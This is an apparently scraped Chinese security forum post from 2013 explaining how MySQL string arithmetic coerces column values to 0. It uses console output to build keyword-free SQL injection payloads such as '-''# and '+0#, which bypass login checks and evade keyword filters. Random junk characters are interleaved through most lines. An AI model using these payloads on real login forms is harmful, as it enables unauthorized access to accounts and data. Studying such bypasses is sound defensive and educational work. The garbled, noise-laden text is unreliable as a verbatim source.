找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2065|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
5 {+ z1 z' o/ s5 P& W* ~+ W有以下表结构:
% D- @  P# ]# _5 I2 K) d: U. c1 [: y8 ^) W" S& q$ l6 y; e
mysql> desc admin;+ l; j9 X+ k" @- o1 }
+----------+--------------+------+-----+---------+----------------+
; @7 ^/ w$ x8 `% `0 }/ t| Field    | Type         | Null | Key | Default | Extra          |
; [- F- o; i8 r6 o; B  t. a2 @9 @+----------+--------------+------+-----+---------+----------------+
  p+ b# \, {) _| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
9 E3 f4 X2 ~  Z' I5 ^5 ~| name     | char(32)     | NO   | UNI | NULL    |                |
  K6 A$ P0 d% E& R0 ^| password | char(32)     | NO   | UNI | NULL    |                |" u! p( \( i& y& Z$ x" n: K1 P
+----------+--------------+------+-----+---------+----------------+  n( [, F  v3 x0 h" F
3 rows in set (0.00 sec)
, t) i4 h5 i7 Y# Z5 b/ Q) x3 q执行select * from admin;,成功返回所有记录内容。) \3 s8 f' m3 P" {
! J8 Y5 h  o+ Y$ r4 ~6 E0 Q* B
; O! f: \$ r$ _* _; l5 o
+----+--------+----------------------------------+  c! o' f2 W. g  \5 E) {5 b
| id | name   | password                         |2 w1 {, s$ \7 \# i, g, a
+----+--------+----------------------------------+
" `! V; Y; U; O/ F6 ~|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |7 g$ G5 Z4 f; o' p& ]
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
9 E9 J7 n! {" }, c|  4 | n00b   | ff80e8508d39047460921792273533a4 |9 a" b3 W" i8 A. b8 G. Z- @- ]
+----+--------+----------------------------------+% I2 v: _, X* S- d+ x
3 rows in set (0.00 sec)+ j0 A4 l' \' _* b. w5 ~6 a7 N
执行select * from admin where name=”;,没有匹配到任何记录。 8 y# _" N  I8 [3 h& `
* r1 H1 W3 C; o4 q$ [
mysql> select * from admin where name = '';
& m) `- Y) w) @2 V' W: ~- ~Empty set (0.00 sec)3 @  A1 T+ D! b0 n$ k
那么我们来执行select * from admin where name = ”-”;
+ \# G  U9 @: b9 V* b4 j) r& R- `/ _0 d! S- X; ?

: e, K/ i' f7 }6 V  ?+----+--------+----------------------------------+
: _, A4 ~. R* B+ W5 D0 x8 \| id | name   | password                         |
% y+ u; L- q9 [% O- f& T# j+----+--------+----------------------------------+' n* n6 x4 K0 M, ^
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |: M7 }5 V  U- Q' v# ]4 w
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |8 V  l1 T. _: J8 x/ A( w
|  4 | n00b   | ff80e8508d39047460921792273533a4 |& B4 o4 M4 y( ?4 b/ M1 S
+----+--------+----------------------------------+# D: i7 q3 i# w% ^" b' X* m: R
3 rows in set, 3 warnings (0.00 sec). Q3 m1 ]5 f" U
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: % D) V1 J6 ]+ x# S! q
# e! h. Z4 s" K5 d1 C( |! T& G) ~
mysql> show warnings;
/ ~3 {0 E! Q# r* x: j+---------+------+------------------------------------------
. A5 ~8 i& ]" z| Level   | Code | Message
5 W0 V- ?6 F( x% _9 E+---------+------+------------------------------------------9 L% h4 t( l$ U9 |$ _2 E% u
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin* s* W7 s3 N2 m6 T& |# y
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
, z0 S+ _; R6 W+ o% C| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b% \2 }# f- C5 Y2 x+ m% c
+---------+------+------------------------------------------1 y& g4 ]6 C1 f1 V3 |% i& ~+ q
3 rows in set (0.00 sec)
1 G$ [, b) P! {4 g# J0 ~; f( l提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 " n0 X; T- |' F& S; e
% N1 O& ]$ K6 V6 t' m5 u  Q3 g
mysql> select ''-'';6 G' K8 e# a7 @! |- ~/ ?: ^: D
+-------+
& I( s9 h( F& l| ''-'' |
7 _% Q- k, L% E5 j% K9 d1 J+-------+; L: S6 g: p! h6 |% z
|     0 |
" i. d1 `: t% U/ T+-------+; ^2 O6 x6 |* @; i
1 row in set (0.00 sec)
" l1 {9 v, k2 D: |8 G返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
3 ^8 J& z2 Y( G/ s8 S; ~0 W) [% ^
. v$ q( w) b1 r3 \: K, ~& X: `/ X- Nmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
) Q9 H- v+ O- m5 V; |+ q  F5 F4 W, i3 ^+-----------------------------------------------------+; N. y; i4 G( O  g
| CAST((select name from admin limit 1,1) as DECIMAL) |
2 _& l  [  u7 g& L- n4 i+-----------------------------------------------------+9 r2 h( W/ v% Q$ C( o: d6 V& ]* l
|                                                   0 |
' }8 {& r, ^- m; d- c+-----------------------------------------------------+0 \* c" K1 h6 @. E
1 row in set, 1 warning (0.00 sec)  v1 q# f& E3 |: N# g& L
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
; \' R$ G: c0 e) X  q
; h, q7 Z7 P$ C4 D! xSQL注入场景: http://www.sqlzoo.net/hack/ ! Q% ~% K- V. o# e5 S% X

; J* d! P( M8 Y" O$ K5 S# k& y! _7 X

5 K/ ]7 n6 D' g; O0 y0 G1 [" r- i" o; L
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 0 X7 k: {( O+ w+ a- j' E* c# P

) R) r5 l4 S6 A那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 2 H% A5 Q$ f# E0 Z! f4 b
5 }8 l/ A4 k3 D2 z
* |4 p& K6 v: B) c. R& O
3 {9 ~7 R. Y1 D, O( A' a
8 |! t4 Y9 D8 r& ^) ?+ A
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 0 X( ~4 Z9 Z; V/ W7 B

( D5 ?1 @% k3 o- ^" [$ W* j   
9 _$ n: x3 _2 k. `- O) n  L" I* x; b: ]2 `
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可6 A1 @& T9 }. J) i# D, \9 Q3 _# r
0 Q% l, M. Z; ]; y! F# t
( N9 E. \2 r& Q% j4 _& y
mysql> select ''/1;. S8 j' l1 P# `$ r4 l4 X  P: E
+------+
5 W$ S7 w3 Z' ^; c; O| ''/1 |" b7 U2 c/ a# u
+------+! n) ?; F; D; C. ~- x
|    0 |) V/ X6 R# I/ ^% b
+------+
7 S2 ?) A8 b4 [" @( r0 f( s1 row in set (0.00 sec)
, I) W, ]* T4 c% B! ~( `5 W( H* R类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
9 c7 t2 i4 r5 n* m1 C5 R& K5 Y% ]" u- q- ^+ v3 X: z4 A3 h
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。) j( Q' A* T# W! S) h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表